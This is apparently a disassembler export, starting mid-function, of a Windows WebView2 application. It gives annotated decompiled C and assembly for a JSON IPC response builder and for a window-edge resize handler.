1400026cf48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
1400026d348 89 4c 24 30MOV qword ptr [RSP + local_f8],RCX
1400026d80f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400026db0f 29 44 24 20MOVAPS xmmword ptr [RSP + local_108[0]],XMM0
1400026e00f 11 30MOVUPS xmmword ptr [RAX],XMM6
1400026e348 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
1400026eb66 c7 84 24 d8 00 00 00 …MOV word ptr [RSP + local_50],0x0
1400026f54c 8d 44 24 20LEA R8,[RSP + 0x20]
1400026fa4c 8d 8c 24 d8 00 00 00LEA R9,[RSP + 0xd8]
14000270248 89 f9MOV RCX,RDI
140002705b2 01MOV DL,offset u_HAN#_14009b7fc+5
140002707e8 f4 01 00 00CALL json_response_builder; → json_response_builder (B10, E19)
14000270cf6 44 24 20 01TEST byte ptr [RSP + local_108[0]],0x1
14000271175 2bJNZ LAB_14000273e
140002713f6 84 24 90 00 00 00 01TEST byte ptr [RSP + local_98[0]],0x1
14000271b75 35JNZ LAB_140002752
LAB_14000271d:
14000271df6 44 24 38 01TEST byte ptr [RSP + local_f0],0x1
14000272275 42JNZ LAB_140002766
LAB_140002724:
140002724f6 44 24 70 01TEST byte ptr [RSP + local_b8[0]],0x1
14000272975 4cJNZ LAB_140002777
LAB_14000272b:
14000272bf6 44 24 50 01TEST byte ptr [RSP + local_d8[0]],0x1
14000273075 59JNZ LAB_14000278b
LAB_140002732:
140002732f6 84 24 a8 00 00 00 01TEST byte ptr [RSP + local_80],0x1
14000273a75 63JNZ LAB_14000279f
14000273ceb 6eJMP LAB_1400027ac
LAB_14000273e:
14000273e48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_f8]
140002743e8 98 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002748f6 84 24 90 00 00 00 01TEST byte ptr [RSP + local_98[0]],0x1
14000275074 cbJZ LAB_14000271d
LAB_140002752:
14000275248 8b 8c 24 a0 00 00 00MOV RCX,qword ptr [RSP + local_88]
14000275ae8 81 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
14000275ff6 44 24 38 01TEST byte ptr [RSP + local_f0],0x1
14000276474 beJZ LAB_140002724
LAB_140002766:
14000276648 8b 4c 24 48MOV RCX,qword ptr [RSP + local_e0]
14000276be8 70 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002770f6 44 24 70 01TEST byte ptr [RSP + local_b8[0]],0x1
14000277574 b4JZ LAB_14000272b
LAB_140002777:
14000277748 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_a8]
14000277fe8 5c d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002784f6 44 24 50 01TEST byte ptr [RSP + local_d8[0]],0x1
14000278974 a7JZ LAB_140002732
LAB_14000278b:
14000278b48 8b 4c 24 60MOV RCX,qword ptr [RSP + local_c8]
140002790e8 4b d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002795f6 84 24 a8 00 00 00 01TEST byte ptr [RSP + local_80],0x1
14000279d74 0dJZ LAB_1400027ac
LAB_14000279f:
14000279f48 8b 8c 24 b8 00 00 00MOV RCX,qword ptr [RSP + local_70]
LAB_1400027a7:
1400027a7e8 34 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400027ac:
1400027ac4c 89 f1MOV RCX,R14
1400027aff6 06 01TEST byte ptr [RSI],0x1
1400027b274 0cJZ LAB_1400027c0
1400027b448 8b 49 38MOV RCX,qword ptr [RCX + 0x38]
1400027b8e8 23 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400027bd4c 89 f1MOV RCX,R14
LAB_1400027c0:
1400027c0f6 41 10 01TEST byte ptr [RCX + 0x10],0x1
1400027c474 0cJZ LAB_1400027d2
1400027c648 8b 49 20MOV RCX,qword ptr [RCX + 0x20]
1400027cae8 11 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
1400027cf4c 89 f1MOV RCX,R14
LAB_1400027d2:
1400027d2e8 09 d1 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_1400027d7:
1400027d731 c0XOR EAX,EAX
1400027d90f 28 b4 24 f0 00 00 00MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
1400027e148 81 c4 08 01 00 00ADD RSP,0x108
1400027e85bPOP RBX
1400027e95fPOP RDI
1400027ea5ePOP RSI
1400027eb41 5ePOP R14
1400027edc3RET

json_response_builder

0x140002900720 bytes
undefined json_response_builder(ulonglong param_1, char param_2, byte * param_3, byte * param_4)

Builds JSON objects with id/ok/result fields as IPC responses to WebView2 frontend

Cited as
E19
Behaviours
B10
Called from
WndProc, file_reader, file_writer, url_launcher, ui_thread_handler
Calls
FUN_140002cd0, FUN_140002e30, FUN_14000ea50, FUN_14000ea80, FUN_14000eec0, FUN_140012ef0, FUN_140013d60, FUN_14001f8e0
Decompiled C · 132 lines
void json_response_builder(ulonglong param_1,char param_2,byte *param_3,byte *param_4)

{
  longlong *plVar1;
  ulonglong *puVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  ulonglong uVar6;
  byte *pbVar7;
  undefined8 local_a8;
  ulonglong uStack_a0;
  void *local_98;
  ulonglong local_88;
  ulonglong uStack_80;
  void *local_78;
  byte local_70 [16];
  void *local_60;
  ulonglong local_58;
  ulonglong uStack_50;
  void *local_48;
  
  if (DAT_1400c9460 == (longlong *)0x0) {
    return;
  }
  pbVar7 = param_4;
  FUN_140013d60((longlong *)local_70,param_1,(char *)param_3,param_4);
  pcVar5 = "{\"id\":";
  puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)"{\"id\":");
  local_78 = (void *)puVar2[2];
  local_88 = *puVar2;
  uStack_80 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  puVar2 = (ulonglong *)FUN_14000ea50(&local_88,",\"ok\":",pcVar5,pbVar7);
  local_98 = (void *)puVar2[2];
  local_a8 = *puVar2;
  uStack_a0 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  pcVar3 = "false";
  if (param_2 != '\0') {
    pcVar3 = "true";
  }
  puVar2 = (ulonglong *)FUN_14000ea50(&local_a8,pcVar3,pcVar5,pbVar7);
  local_48 = (void *)puVar2[2];
  local_58 = *puVar2;
  uStack_50 = puVar2[1];
  *puVar2 = 0;
  puVar2[1] = 0;
  puVar2[2] = 0;
  if ((local_a8 & 1) == 0) {
    if ((local_88 & 1) != 0) goto LAB_140002a56;
LAB_1400029e5:
    if ((local_70[0] & 1) != 0) goto LAB_140002a67;
LAB_1400029ec:
    if (param_2 == '\0') goto LAB_140002a79;
LAB_1400029f4:
    FUN_140012ef0(&local_a8,",\"result\":",param_3,pbVar7);
    uVar6 = local_a8 >> 1 & 0x7f;
    pvVar4 = (void *)((longlong)&local_a8 + 1);
    if ((local_a8 & 1) != 0) {
      uVar6 = uStack_a0;
      pvVar4 = local_98;
    }
    FUN_14000ea80(&local_58,pvVar4,uVar6,pbVar7);
    local_60 = local_98;
    if ((local_a8 & 1) == 0) goto LAB_140002b50;
  }
  else {
    FUN_14001f8e0(local_98);
    if ((local_88 & 1) == 0) goto LAB_1400029e5;
LAB_140002a56:
    FUN_14001f8e0(local_78);
    if ((local_70[0] & 1) == 0) goto LAB_1400029ec;
LAB_140002a67:
    FUN_14001f8e0(local_60);
    if (param_2 != '\0') goto LAB_1400029f4;
LAB_140002a79:
    FUN_140002cd0((ulonglong *)local_70,param_4,pcVar5,pbVar7);
    pcVar3 = ",\"error\":\"";
    puVar2 = (ulonglong *)FUN_14000eec0((ulonglong *)local_70,0,(byte *)",\"error\":\"");
    local_78 = (void *)puVar2[2];
    local_88 = *puVar2;
    uStack_80 = puVar2[1];
    *puVar2 = 0;
    puVar2[1] = 0;
    puVar2[2] = 0;
    puVar2 = (ulonglong *)FUN_14000ea50(&local_88,"\"",pcVar3,pbVar7);
    local_98 = (void *)puVar2[2];
    local_a8 = *puVar2;
    uStack_a0 = puVar2[1];
    *puVar2 = 0;
    puVar2[1] = 0;
    puVar2[2] = 0;
    uVar6 = local_a8 >> 1 & 0x7f;
    pvVar4 = (void *)((longlong)&local_a8 + 1);
    if ((local_a8 & 1) != 0) {
      uVar6 = uStack_a0;
      pvVar4 = local_98;
    }
    FUN_14000ea80(&local_58,pvVar4,uVar6,pbVar7);
    if ((local_a8 & 1) != 0) {
      FUN_14001f8e0(local_98);
    }
    if ((local_88 & 1) != 0) {
      FUN_14001f8e0(local_78);
    }
    if ((local_70[0] & 1) == 0) goto LAB_140002b50;
  }
  FUN_14001f8e0(local_60);
LAB_140002b50:
  FUN_14000ea50(&local_58,"}",uVar6,pbVar7);
  plVar1 = DAT_1400c9460;
  FUN_140002e30((byte *)&local_a8,(byte *)&local_58);
  pvVar4 = local_98;
  if ((local_a8 & 1) == 0) {
    pvVar4 = (void *)((longlong)&local_a8 + 2);
  }
  (**(code **)(*plVar1 + 0x100))(plVar1,pvVar4);
  if ((local_a8 & 1) != 0) {
    FUN_14001f8e0(local_98);
  }
  if ((local_58 & 1) != 0) {
    FUN_14001f8e0(local_48);
  }
  return;
}

Assembly · 164 instructions, 25 annotated
AddressBytesInstructionComment
14000290041 56PUSH R14
14000290256PUSH RSI
14000290357PUSH RDI
14000290453PUSH RBX
14000290548 81 ec a8 00 00 00SUB RSP,0xa8
14000290c0f 29 b4 24 90 00 00 00MOVAPS xmmword ptr [RSP + local_38[0]],XMM6
14000291448 83 3d 44 6b 0c 00 00CMP qword ptr [DAT_1400c9460],0x0
14000291c0f 84 99 02 00 00JZ LAB_140002bbb
1400029224c 89 cfMOV RDI,R9
1400029254c 89 c6MOV RSI,R8
14000292889 d3MOV EBX,EDX
14000292a48 89 caMOV RDX,RCX
14000292d4c 8d 74 24 58LEA R14,[RSP + 0x58]
1400029324c 89 f1MOV RCX,R14
140002935e8 26 14 01 00CALL FUN_140013d60; FUN_140013d60: memcpy
14000293a4c 8d 05 1b 8f 09 00LEA R8,[s_{"id":_14009b85c]; "{\"id\":"
1400029414c 89 f1MOV RCX,R14
14000294431 d2XOR EDX,EDX
140002946e8 75 c5 00 00CALL FUN_14000eec0; FUN_14000eec0: strlen
14000294b48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000294f48 89 4c 24 50MOV qword ptr [RSP + local_78],RCX
1400029540f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400029570f 29 44 24 40MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
14000295c0f 57 f6XORPS XMM6,XMM6
14000295f0f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000296248 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000296a48 8d 15 f2 8e 09 00LEA RDX,[s_,"ok":_14009b863]; ",\"ok\":"
14000297148 8d 4c 24 40LEA RCX,[RSP + 0x40]
140002976e8 d5 c0 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
14000297b48 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
14000297f48 89 4c 24 30MOV qword ptr [RSP + local_98],RCX
1400029840f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400029870f 29 44 24 20MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
14000298c0f 11 30MOVUPS xmmword ptr [RAX],XMM6
14000298f48 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
14000299748 8d 05 cc 8e 09 00LEA RAX,[DAT_14009b86a]
14000299e48 8d 15 ca 8e 09 00LEA RDX,[s_false_14009b86f]; "false"
1400029a584 dbTEST BL,BL
1400029a748 0f 45 d0CMOVNZ RDX,RAX
1400029ab48 8d 4c 24 20LEA RCX,[RSP + 0x20]
1400029b0e8 9b c0 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
1400029b548 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
1400029b948 89 8c 24 80 00 00 00MOV qword ptr [RSP + local_48],RCX
1400029c10f 10 00MOVUPS XMM0,xmmword ptr [RAX]
1400029c40f 29 44 24 70MOVAPS xmmword ptr [RSP + local_58[0]],XMM0
1400029c90f 57 c0XORPS XMM0,XMM0
1400029cc0f 11 00MOVUPS xmmword ptr [RAX],XMM0
1400029cf48 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
1400029d7f6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
1400029dc75 67JNZ LAB_140002a45
1400029def6 44 24 40 01TEST byte ptr [RSP + local_88[0]],0x1
1400029e375 71JNZ LAB_140002a56
LAB_1400029e5:
1400029e5f6 44 24 58 01TEST byte ptr [RSP + local_70],0x1
1400029ea75 7bJNZ LAB_140002a67
LAB_1400029ec:
1400029ec84 dbTEST BL,BL
1400029ee0f 84 85 00 00 00JZ LAB_140002a79
LAB_1400029f4:
1400029f448 8d 15 7a 8e 09 00LEA RDX,[s_,"result":_14009b875]; ",\"result\":"
1400029fb48 8d 4c 24 20LEA RCX,[RSP + 0x20]
140002a0049 89 f0MOV R8,RSI
140002a03e8 e8 04 01 00CALL FUN_140012ef0; FUN_140012ef0: strlen, memcpy, memmove
140002a080f b6 44 24 20MOVZX EAX,byte ptr [RSP + local_a8[0]]
140002a0d41 89 c0MOV R8D,EAX
140002a1041 d1 e8SHR R8D,0x1
140002a13a8 01TEST AL,0x1
140002a1548 8d 54 24 21LEA RDX,[RSP + 0x21]
140002a1a48 0f 45 54 24 30CMOVNZ RDX,qword ptr [RSP + local_98]
140002a204c 0f 45 44 24 28CMOVNZ R8,qword ptr [RSP + local_a8[8]]
140002a2648 8d 4c 24 70LEA RCX,[RSP + 0x70]
140002a2be8 50 c0 00 00CALL FUN_14000ea80; FUN_14000ea80: memmove, memcpy
140002a30f6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
140002a350f 84 15 01 00 00JZ LAB_140002b50
140002a3b48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140002a40e9 06 01 00 00JMP LAB_140002b4b
LAB_140002a45:
140002a4548 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140002a4ae8 91 ce 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002a4ff6 44 24 40 01TEST byte ptr [RSP + local_88[0]],0x1
140002a5474 8fJZ LAB_1400029e5
LAB_140002a56:
140002a5648 8b 4c 24 50MOV RCX,qword ptr [RSP + local_78]
140002a5be8 80 ce 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002a60f6 44 24 58 01TEST byte ptr [RSP + local_70],0x1
140002a6574 85JZ LAB_1400029ec
LAB_140002a67:
140002a6748 8b 4c 24 68MOV RCX,qword ptr [RSP + local_60]
140002a6ce8 6f ce 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002a7184 dbTEST BL,BL
140002a730f 85 7b ff ff ffJNZ LAB_1400029f4
LAB_140002a79:
140002a7948 8d 4c 24 58LEA RCX,[RSP + 0x58]
140002a7e48 89 faMOV RDX,RDI
140002a81e8 4a 02 00 00CALL FUN_140002cd0; FUN_140002cd0: memmove, __stdio_common_vsprintf, strlen
140002a864c 8d 05 f3 8d 09 00LEA R8,[s_,"error":"_14009b880]; ",\"error\":\""
140002a8d48 8d 4c 24 58LEA RCX,[RSP + 0x58]
140002a9231 d2XOR EDX,EDX
140002a94e8 27 c4 00 00CALL FUN_14000eec0; FUN_14000eec0: strlen
140002a9948 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
140002a9d48 89 4c 24 50MOV qword ptr [RSP + local_78],RCX
140002aa20f 10 00MOVUPS XMM0,xmmword ptr [RAX]
140002aa50f 29 44 24 40MOVAPS xmmword ptr [RSP + local_88[0]],XMM0
140002aaa0f 57 f6XORPS XMM6,XMM6
140002aad0f 11 30MOVUPS xmmword ptr [RAX],XMM6
140002ab048 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
140002ab848 8d 15 cc 8d 09 00LEA RDX,[DAT_14009b88b]
140002abf48 8d 4c 24 40LEA RCX,[RSP + 0x40]
140002ac4e8 87 bf 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
140002ac948 8b 48 10MOV RCX,qword ptr [RAX + 0x10]
140002acd48 89 4c 24 30MOV qword ptr [RSP + local_98],RCX
140002ad20f 10 00MOVUPS XMM0,xmmword ptr [RAX]
140002ad50f 29 44 24 20MOVAPS xmmword ptr [RSP + local_a8[0]],XMM0
140002ada0f 11 30MOVUPS xmmword ptr [RAX],XMM6
140002add48 c7 40 10 00 00 00 00MOV qword ptr [RAX + 0x10],0x0
140002ae50f b6 44 24 20MOVZX EAX,byte ptr [RSP + local_a8[0]]
140002aea41 89 c0MOV R8D,EAX
140002aed41 d1 e8SHR R8D,0x1
140002af0a8 01TEST AL,0x1
140002af248 8d 54 24 21LEA RDX,[RSP + 0x21]
140002af748 0f 45 54 24 30CMOVNZ RDX,qword ptr [RSP + local_98]
140002afd4c 0f 45 44 24 28CMOVNZ R8,qword ptr [RSP + local_a8[8]]
140002b0348 8d 4c 24 70LEA RCX,[RSP + 0x70]
140002b08e8 73 bf 00 00CALL FUN_14000ea80; FUN_14000ea80: memmove, memcpy
140002b0df6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
140002b1275 10JNZ LAB_140002b24
140002b14f6 44 24 40 01TEST byte ptr [RSP + local_88[0]],0x1
140002b1975 1aJNZ LAB_140002b35
LAB_140002b1b:
140002b1bf6 44 24 58 01TEST byte ptr [RSP + local_70],0x1
140002b2075 24JNZ LAB_140002b46
140002b22eb 2cJMP LAB_140002b50
LAB_140002b24:
140002b2448 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140002b29e8 b2 cd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002b2ef6 44 24 40 01TEST byte ptr [RSP + local_88[0]],0x1
140002b3374 e6JZ LAB_140002b1b
LAB_140002b35:
140002b3548 8b 4c 24 50MOV RCX,qword ptr [RSP + local_78]
140002b3ae8 a1 cd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
140002b3ff6 44 24 58 01TEST byte ptr [RSP + local_70],0x1
140002b4474 0aJZ LAB_140002b50
LAB_140002b46:
140002b4648 8b 4c 24 68MOV RCX,qword ptr [RSP + local_60]
LAB_140002b4b:
140002b4be8 90 cd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002b50:
140002b5048 8d 15 36 8d 09 00LEA RDX,[DAT_14009b88d]
140002b5748 8d 4c 24 70LEA RCX,[RSP + 0x70]
140002b5ce8 ef be 00 00CALL FUN_14000ea50; FUN_14000ea50: strlen
140002b6148 8b 35 f8 68 0c 00MOV RSI,qword ptr [DAT_1400c9460]
140002b6848 8d 4c 24 20LEA RCX,[RSP + 0x20]
140002b6d48 8d 54 24 70LEA RDX,[RSP + 0x70]
140002b72e8 b9 02 00 00CALL FUN_140002e30; FUN_140002e30: MultiByteToWideChar
140002b77f6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
140002b7c74 07JZ LAB_140002b85
140002b7e48 8b 54 24 30MOV RDX,qword ptr [RSP + local_98]
140002b83eb 05JMP LAB_140002b8a
LAB_140002b85:
140002b8548 8d 54 24 22LEA RDX,[RSP + 0x22]
LAB_140002b8a:
140002b8a48 8b 06MOV RAX,qword ptr [RSI]
140002b8d48 89 f1MOV RCX,RSI
140002b90ff 90 00 01 00 00CALL qword ptr [RAX + 0x100]
140002b96f6 44 24 20 01TEST byte ptr [RSP + local_a8[0]],0x1
140002b9b74 0aJZ LAB_140002ba7
140002b9d48 8b 4c 24 30MOV RCX,qword ptr [RSP + local_98]
140002ba2e8 39 cd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002ba7:
140002ba7f6 44 24 70 01TEST byte ptr [RSP + local_58[0]],0x1
140002bac74 0dJZ LAB_140002bbb
140002bae48 8b 8c 24 80 00 00 00MOV RCX,qword ptr [RSP + local_48]
140002bb6e8 25 cd 01 00CALL FUN_14001f8e0; FUN_14001f8e0: free
LAB_140002bbb:
140002bbb0f 28 b4 24 90 00 00 00MOVAPS XMM6,xmmword ptr [RSP + local_38[0]]
140002bc348 81 c4 a8 00 00 00ADD RSP,0xa8
140002bca5bPOP RBX
140002bcb5fPOP RDI
140002bcc5ePOP RSI
140002bcd41 5ePOP R14
140002bcfc3RET

edge_handler

0x1400030e0700 bytes
undefined edge_handler(longlong * param_1, longlong * param_2, undefined8 param_3, undefined8 param_4)

Handles WebView2 edge runtime environment callbacks

Called from
ui_thread_handler
Calls
GetCursorPos ReleaseCapture SendMessageW FUN_140007d10, FUN_14001f8e0
Decompiled C · 159 lines
void edge_handler(longlong *param_1,longlong *param_2,undefined8 param_3,undefined8 param_4)

{
  byte bVar1;
  longlong *plVar2;
  int *piVar3;
  longlong *plVar4;
  longlong lVar5;
  int iVar6;
  longlong *plVar7;
  undefined1 local_38 [2];
  undefined2 uStack_36;
  int iStack_34;
  longlong *local_30;
  longlong *local_28;
  ushort local_20 [8];
  void *local_10;
  
  if (param_1 == (longlong *)0x0) {
    return;
  }
  local_38[0] = 8;
  local_38[1] = 0x65;
  uStack_36 = 0x6764;
  iStack_34 = CONCAT31(iStack_34._1_3_,0x65);
  plVar7 = param_1;
  plVar2 = param_2;
  if ((int)*param_1 == 6) {
    plVar2 = (longlong *)param_1[8];
    plVar7 = param_1;
    if (plVar2 != (longlong *)param_1[9]) {
      plVar4 = plVar2 + 3;
      do {
        bVar1 = *(byte *)(plVar4 + -3);
        if ((bVar1 & 1) == 0) {
          if (bVar1 >> 1 == 4) goto LAB_14000316c;
        }
        else if (plVar4[-2] == 4) {
LAB_14000316c:
          if ((bVar1 & 1) == 0) {
            piVar3 = (int *)((longlong)plVar4 + -0x17);
          }
          else {
            piVar3 = (int *)plVar4[-1];
          }
          if (*piVar3 == 0x65676465) {
            local_20[0] = 0;
            FUN_140007d10((longlong *)local_38,(int *)plVar4,(byte *)local_20,param_4);
            if ((local_20[0] & 1) != 0) {
              FUN_14001f8e0(local_10);
            }
            goto LAB_140003180;
          }
        }
        plVar7 = plVar4 + 0xb;
        plVar2 = plVar4 + 0xe;
        plVar4 = plVar4 + 0xe;
      } while (plVar7 != (longlong *)param_1[9]);
    }
  }
  local_30 = plVar2;
  local_28 = plVar7;
  local_38[0] = 0;
  local_38[1] = 0;
LAB_140003180:
  plVar4 = (longlong *)(ulonglong)(local_38[0] >> 1);
  plVar7 = local_30;
  plVar2 = local_28;
  if ((local_38[0] & 1) == 0) {
    plVar7 = plVar4;
    plVar2 = (longlong *)(local_38 + 1);
  }
  if ((plVar7 == (longlong *)0x4) && ((int)*plVar2 == 0x7466656c)) {
    lVar5 = 0;
  }
  else {
    plVar7 = local_30;
    if ((local_38[0] & 1) == 0) {
      plVar7 = plVar4;
    }
    if ((plVar7 == (longlong *)0x5) &&
       (*(char *)((longlong)plVar2 + 4) == 't' && (int)*plVar2 == 0x68676972)) {
      lVar5 = 0x10;
    }
    else {
      plVar7 = local_30;
      if ((local_38[0] & 1) == 0) {
        plVar7 = plVar4;
      }
      if ((plVar7 == (longlong *)0x3) &&
         (*(char *)((longlong)plVar2 + 2) == 'p' && (short)*plVar2 == 0x6f74)) {
        lVar5 = 0x20;
      }
      else {
        plVar7 = local_30;
        if ((local_38[0] & 1) == 0) {
          plVar7 = plVar4;
        }
        if ((plVar7 == (longlong *)0x6) &&
           (*(short *)((longlong)plVar2 + 4) == 0x6d6f && (int)*plVar2 == 0x74746f62)) {
          lVar5 = 0x30;
        }
        else {
          plVar7 = local_30;
          if ((local_38[0] & 1) == 0) {
            plVar7 = plVar4;
          }
          if ((plVar7 == (longlong *)0x7) &&
             (*(int *)((longlong)plVar2 + 3) == 0x7466656c && (int)*plVar2 == 0x6c706f74)) {
            lVar5 = 0x40;
          }
          else {
            plVar7 = local_30;
            if ((local_38[0] & 1) == 0) {
              plVar7 = plVar4;
            }
            if ((plVar7 == (longlong *)0x8) && (*plVar2 == 0x7468676972706f74)) {
              lVar5 = 0x50;
            }
            else {
              plVar7 = local_30;
              if ((local_38[0] & 1) == 0) {
                plVar7 = plVar4;
              }
              if ((plVar7 == (longlong *)0xa) &&
                 ((short)plVar2[1] == 0x7466 && *plVar2 == 0x656c6d6f74746f62)) {
                lVar5 = 0x60;
              }
              else {
                if ((local_38[0] & 1) == 0) {
                  local_30 = plVar4;
                }
                iVar6 = 1;
                if ((local_30 != (longlong *)0xb) ||
                   (*(longlong *)((longlong)plVar2 + 3) != 0x74686769726d6f74 ||
                    *plVar2 != 0x69726d6f74746f62)) goto LAB_140003367;
                lVar5 = 0x70;
              }
            }
          }
        }
      }
    }
  }
  iVar6 = *(int *)((longlong)&DAT_14009ba18 + lVar5);
LAB_140003367:
  if ((local_38[0] & 1) != 0) {
    FUN_14001f8e0(local_28);
  }
  if (iVar6 != 1) {
    GetCursorPos((LPPOINT)local_38);
    ReleaseCapture();
    SendMessageW(DAT_1400c9450,0xa1,(longlong)iVar6,
                 (ulonglong)(iStack_34 << 0x10 | (uint)CONCAT11(local_38[1],local_38[0])));
  }
  return;
}

Assembly · 176 instructions, 3 annotated
AddressBytesInstructionComment
1400030e056PUSH RSI
1400030e148 83 ec 50SUB RSP,0x50
1400030e548 85 c9TEST RCX,RCX
1400030e80f 84 be 02 00 00JZ LAB_1400033ac
1400030eec6 44 24 20 08MOV byte ptr [RSP + local_38],0x8
1400030f3c7 44 24 21 65 64 67 65MOV dword ptr [RSP + local_38+0x1],0x65676465
1400030fb83 39 06CMP dword ptr [RCX],0x6
1400030fe75 77JNZ LAB_140003177
14000310048 8b 51 40MOV RDX,qword ptr [RCX + 0x40]
14000310448 8b 41 48MOV RAX,qword ptr [RCX + 0x48]
14000310848 39 c2CMP RDX,RAX
14000310b74 6aJZ LAB_140003177
14000310d48 83 c2 18ADD RDX,0x18
140003111eb 2eJMP LAB_140003141
LAB_140003120:
14000312048 8b 4a f8MOV RCX,qword ptr [RDX + -0x8]
LAB_140003124:
1400031248b 09MOV ECX,dword ptr [RCX]
1400031263b 4c 24 21CMP ECX,dword ptr [RSP + local_38+0x1]
14000312a0f 84 d6 01 00 00JZ LAB_140003306
LAB_140003130:
14000313048 8d 4a e8LEA RCX,[RDX + -0x18]
14000313448 83 c2 70ADD RDX,0x70
14000313848 83 c1 70ADD RCX,0x70
14000313c48 39 c1CMP RCX,RAX
14000313f74 36JZ LAB_140003177
LAB_140003141:
1400031410f b6 4a e8MOVZX ECX,byte ptr [RDX + -0x18]
140003145f6 c1 01TEST CL,0x1
14000314874 16JZ LAB_140003160
14000314a4c 8b 42 f0MOV R8,qword ptr [RDX + -0x10]
14000314e49 83 f8 04CMP R8,0x4
14000315275 dcJNZ LAB_140003130
140003154eb 16JMP LAB_14000316c
LAB_140003160:
14000316041 89 c8MOV R8D,ECX
14000316341 d1 e8SHR R8D,0x1
14000316649 83 f8 04CMP R8,0x4
14000316a75 c4JNZ LAB_140003130
LAB_14000316c:
14000316cf6 c1 01TEST CL,0x1
14000316f75 afJNZ LAB_140003120
14000317148 8d 4a e9LEA RCX,[RDX + -0x17]
140003175eb adJMP LAB_140003124
LAB_140003177:
14000317766 c7 44 24 20 00 00MOV word ptr [RSP + local_38],0x0
14000317e31 c0XOR EAX,EAX
LAB_140003180:
14000318041 89 c0MOV R8D,EAX
14000318341 d0 e8SHR R8B,0x1
140003186a8 01TEST AL,0x1
14000318845 0f b6 c8MOVZX R9D,R8B
14000318c4c 8d 44 24 21LEA R8,[RSP + 0x21]
1400031914c 0f 45 c1CMOVNZ R8,RCX
14000319549 89 d2MOV R10,RDX
1400031984d 0f 44 d1CMOVZ R10,R9
14000319c49 83 fa 04CMP R10,0x4
1400031a075 0dJNZ LAB_1400031af
1400031a241 81 38 6c 65 66 74CMP dword ptr [R8],0x7466656c
1400031a90f 84 45 01 00 00JZ LAB_1400032f4
LAB_1400031af:
1400031afa8 01TEST AL,0x1
1400031b149 89 d2MOV R10,RDX
1400031b44d 0f 44 d1CMOVZ R10,R9
1400031b849 83 fa 05CMP R10,0x5
1400031bc75 1bJNZ LAB_1400031d9
1400031be41 ba 72 69 67 68MOV R10D,0x68676972
1400031c445 33 10XOR R10D,dword ptr [R8]
1400031c745 0f b6 58 04MOVZX R11D,byte ptr [R8 + local_38+0x5]
1400031cc41 83 f3 74XOR R11D,0x74
1400031d045 09 d3OR R11D,R10D
1400031d30f 84 1f 01 00 00JZ LAB_1400032f8
LAB_1400031d9:
1400031d9a8 01TEST AL,0x1
1400031db49 89 d2MOV R10,RDX
1400031de4d 0f 44 d1CMOVZ R10,R9
1400031e249 83 fa 03CMP R10,0x3
1400031e675 1eJNZ LAB_140003206
1400031e845 0f b7 10MOVZX R10D,word ptr [R8]
1400031ec41 81 f2 74 6f 00 00XOR R10D,0x6f74
1400031f345 0f b6 58 02MOVZX R11D,byte ptr [R8 + local_38+0x3]
1400031f841 83 f3 70XOR R11D,0x70
1400031fc66 45 09 d3OR R11W,R10W
1400032000f 84 f9 00 00 00JZ LAB_1400032ff
LAB_140003206:
140003206a8 01TEST AL,0x1
14000320849 89 d2MOV R10,RDX
14000320b4d 0f 44 d1CMOVZ R10,R9
14000320f49 83 fa 06CMP R10,0x6
14000321375 1eJNZ LAB_140003233
14000321541 ba 62 6f 74 74MOV R10D,0x74746f62
14000321b45 33 10XOR R10D,dword ptr [R8]
14000321e45 0f b7 58 04MOVZX R11D,word ptr [R8 + local_38+0x5]
14000322341 81 f3 6f 6d 00 00XOR R11D,0x6d6f
14000322a45 09 d3OR R11D,R10D
14000322d0f 84 0e 01 00 00JZ LAB_140003341
LAB_140003233:
140003233a8 01TEST AL,0x1
